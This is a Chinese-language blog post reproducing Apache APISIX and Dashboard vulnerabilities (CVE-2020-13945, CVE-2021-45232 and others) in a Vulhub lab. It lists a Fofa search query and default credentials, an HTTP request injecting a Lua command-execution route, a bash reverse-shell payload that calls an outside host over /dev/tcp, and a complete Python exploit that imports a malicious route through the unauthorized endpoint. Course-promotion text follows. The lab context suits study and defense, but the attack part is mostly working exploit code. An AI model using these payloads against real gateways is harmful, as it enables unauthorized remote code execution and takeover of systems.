2024年网络安全最全Apache Apisix网关系统历史漏洞复现分析_apache apisix 漏洞

  1. 开源项目地址:https://github.com/apache/apisix
  2. 官方文档地址:https://apisix.apache.org/zh/docs/apisix/getting-started/README/

你可以把 Apache APISIX 当做流量入口,来处理所有的业务数据,包括动态路由、动态上游、动态证书、金丝雀发布(灰度发布)、限流限速、抵御恶意攻击、监控报警、服务可观测性、服务治理等。
imagepng
Fofa 搜索语法:

title="Apache APISIX"

渗透测试基本信息:

APISIX 系统默认端口默认凭据或口令
Apache APISIX9080edd1c9f034335f136f87ad84b625c8f1
Apache APISIX Dashboard9000admin/admin

官方推荐的快速安装 APISIX:

curl -sL https://run.api7.ai/apisix/quickstart | sh
# 验证安装是否成功
curl "http://127.0.0.1:9080" --head | grep Server

imagepng
imagepng
【创建路由】

通过下面的命令,你将创建一个路由,把请求 http://127.0.0.1:9080/ip 转发至 httpbin.org/ip:

root@ubuntu:~/Desktop$ curl -i "http://127.0.0.1:9180/apisix/admin/routes" -X PUT -d '
{
 "id": "getting-started-ip",
 "uri": "/ip",
 "upstream": {
 "type": "roundrobin",
 "nodes": {
 "httpbin.org:80": 1
 }
 }
}'
HTTP/1.1 201 Created
Date: Sun, 18 Feb 2024 01:45:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/3.8.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
X-API-VERSION: v3

{"key":"/apisix/routes/getting-started-ip","value":{"upstream":{"scheme":"http","nodes":{"httpbin.org:80":1},"type":"roundrobin","pass\_host":"pass","hash\_on":"vars"},"id":"getting-started-ip","priority":0,"update\_time":1708220748,"uri":"/ip","status":1,"create\_time":1708220748}}
root@ubuntu:~/Desktop$ 
root@ubuntu:~/Desktop$ curl "http://127.0.0.1:9080/ip"
{
  "origin": "XXX.XXX.XXX.21"
}
root@ubuntu:~/Desktop$ 

【部署 APISIX Dashboard】

Apache APISIX Dashboard 是基于浏览器的可视化平台,用于监控、管理 Apache APISIX。官方项目地址:https://github.com/apache/apisix-dashboard

docker pull apache/apisix-dashboard
docker run -d --name dashboard \
           -p 9000:9000        \
           -v <CONFIG_FILE>:/usr/local/apisix-dashboard/conf/conf.yaml \
           apache/apisix-dashboard

此处安装失败,原因不详,从 docker 日志看是由于错误无法连接 2379 的 etcd 服务。

CVE-2020-13945默认api令牌

Apache APISIX 是一个高性能 API 网关。在用户未指定管理员 Token 或使用了默认配置文件的情况下,Apache APISIX 将使用默认的管理员 Token:edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个 Token 可以访问到管理员接口,进而通过 script 参数来插入任意 LUA 脚本并执行。

该默认令牌配置文件位于:https://github.com/apache/apisix/blob/master/conf/config.yaml, 这是一个默认配置导致的安全问题,实际上从官方文档也可以看出官方并不会修复该 CVE 漏洞,而是给出了安全提醒:
imagepng
【环境搭建】

基于 Vulhub 快速搭建靶场环境(https://vulhub.org/#/environments/apisix/CVE-2020-13945/):
imagepng
环境启动后,访问 http://your-ip:9080 即可查看到默认的 404 页面。
imagepng
【漏洞复现】

利用默认 Token 增加一个恶意的 router( 该 API 接口详细参数请参见官方文档:Admin API | Apache APISIX),其中包含恶意 LUA 脚本:

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
    "uri": "/attack",
    "script": "local \_M = {} \n function \_M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get\_uri\_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('\*a'))\n ngx.say(s)\n f:close() \n end \nreturn \_M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

imagepng
然后,我们访问刚才添加的 router,就可以通过 cmd 参数执行任意命令:http://your-ip:9080/attack?cmd=id
imagepng
imagepng
【其他管理接口】

Admin API (https://apisix.apache.org/zh/docs/apisix/admin-api)是一组用于配置 Apache APISIX 路由、上游、服务、SSL 证书等功能的 RESTful API。你可以通过 Admin API 来获取、创建、更新以及删除资源。同时得益于 APISIX 的热加载能力,资源配置完成后 APISIX 将会自动更新配置,无需重启服务。

以“获取资源列表”的接口 /apisix/admin/consumers 为例:
imagepng
imagepng

CVE-2021-45232未授权接口

Apache APISIX Dashboard 是基于浏览器的可视化平台,用于监控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在两个 API:/apisix/admin/migrate/export/apisix/admin/migrate/import,它们没有经过 droplet 框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让 Apache APISIX 访问任意网站,甚至执行 LUA 脚本。

继续使用 Vulhub 一键搭建靶场环境:
imagepng
然后访问 http://your-ip:9000/ 即可看到 Apache APISIX Dashboard 的登录页面:
imagepng

2.1 默认账户密码导致RCE

官方默认登录账户密码 admin/admin(Vulhub 镜像的密码为 vulhub):
imagepng
其实实战中如果没有敏感接口的未授权访问漏洞的话,是可以通过弱密码登录后台进行 RCE 的,接下来先看看进入后台后如何完成 RCE。

1、 先创建任意名称的上游服务,请注意目标节点信息后面触发 RCE 会用到:
imagepng
2、 接着创建路由,把选择上游服务选择为上面的创造的上游:
imagepng
3、访问上述创建的路由,通过“查看”修改配置,添加反弹 Shell 的 Lua Script:
imagepng
imagepng
提交修改请求(API 接口参数释义请参见:https://apisix.apache.org/zh/docs/apisix/admin-api/#route),数据包如下:

PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charset=UTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close

{"uri":"/\*","name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.50/6666 0>&1')","upstream\_id":"501154557745693377","status":1}

4、接着访问:http://127.0.0.1:9080/rce,即可触发命令执行实现 RCE:
imagepng
imagepng
【More】创建路由时并非强制选择上游服务,故上述创建上游服务的步骤也可以直接忽略,直接创建路由并指定一个有效的目标节点(主机名+有效业务端口)接口,比如:
imagepng

2.2 未授权访问api接口RCE

此漏洞的鉴权缺陷源码分析可参见:https://xz.aliyun.com/t/10732

那如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行 RCE 了。这里我们需要知道这两个接口一个是用来导出配置文件,一个是用来导入配置文件的。

我们可以使用 /apisix/admin/migrate/export 直接导出配置文件,删除 Authorization 字段后发现是可以正常未授权访问的:
imagepng
接下来利用另一个接口导入恶意配置即可实现 RCE,但是从上面导出的配置数据可以看到,后面多出四个字节,这 4 个字节其实是配置文件的 checksum 值,在导入配置文件时,也会对配置文件的 checksum 值进行校验,那这里需要阅读 APISIX 源码并编写脚本算出 checksum 校验值。

简单起见,直接利用 Github 现成的 POC 验证程序即可:https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py

#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create\_time": 1640674554,
            "update\_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
            "script": "local file = io.popen(ngx.req.get\_headers()['cmd'],'r') \n local output = file:read('\*all') \n file:close() \n ngx.say(output)",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}


def random_str():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=6))


def calc_crc(data):
    crc32 = zlib.crc32(data) & 0xffffffff
    return crc32.to_bytes(4, byteorder="big")


def export_data(url):
    r = requests.get(url + "/apisix/admin/migrate/export", verify=False)
    return r.text[:-4]


def import_data(url, data):
    data = json.dumps(data).encode()
    crc32 = calc_crc(data)

    files = {"file": ("data", data + crc32, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)
    # print(resp.text)
    if resp.json().get("code", -1) == 0:
        return True
    else:
        return False


if __name__ == "\_\_main\_\_":
    if len(sys.argv) != 2:
        print("python " + sys.argv[0] + " http://127.0.0.1:9000")
        exit()

    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]

    uri = random_str()
    eval_config["Routes"][0]["uris"] = [ "/" + uri]
    eval_config["Routes"][0]["name"] = uri

    if import_data(url, eval_config):
        print("attack success")
        print("uri is: " + "/" + uri)
    else:
        print("attack error")

脚本攻击效果演示如下(注意执行命令时应更换为 9080 端口):
imagepng
回到 Dashboard 管理台即可发现上述脚本创建了一个恶意路由:
imagepng

CVE-2022-24112 地址限制绕过

官方发布的漏洞信息:https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112/
imagepng
此漏洞相对比较鸡肋,主要是用于绕过 IP 地址访问限制,漏洞利用条件是目标系统使用了默认的 Admin Key(即 CVE-2020-13945 中的 X-API-KEY),此处暂不复现。

参考文章:

  1. CVE-2022-24112 Apache APISIX 远程代码执行漏洞;
  2. CVE-2022-24112:Apache APISIX 命令执行漏洞 - 华盟学院;
  3. https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

CVE-2022-29266 JWT令牌伪造

在 Apache APISIX < 2.13.1 版本之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌并通过错误消息响应获取插件配置的 JWT Secret,进而伪造有效的 JWT 会话凭证来非法访问 API 接口。

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值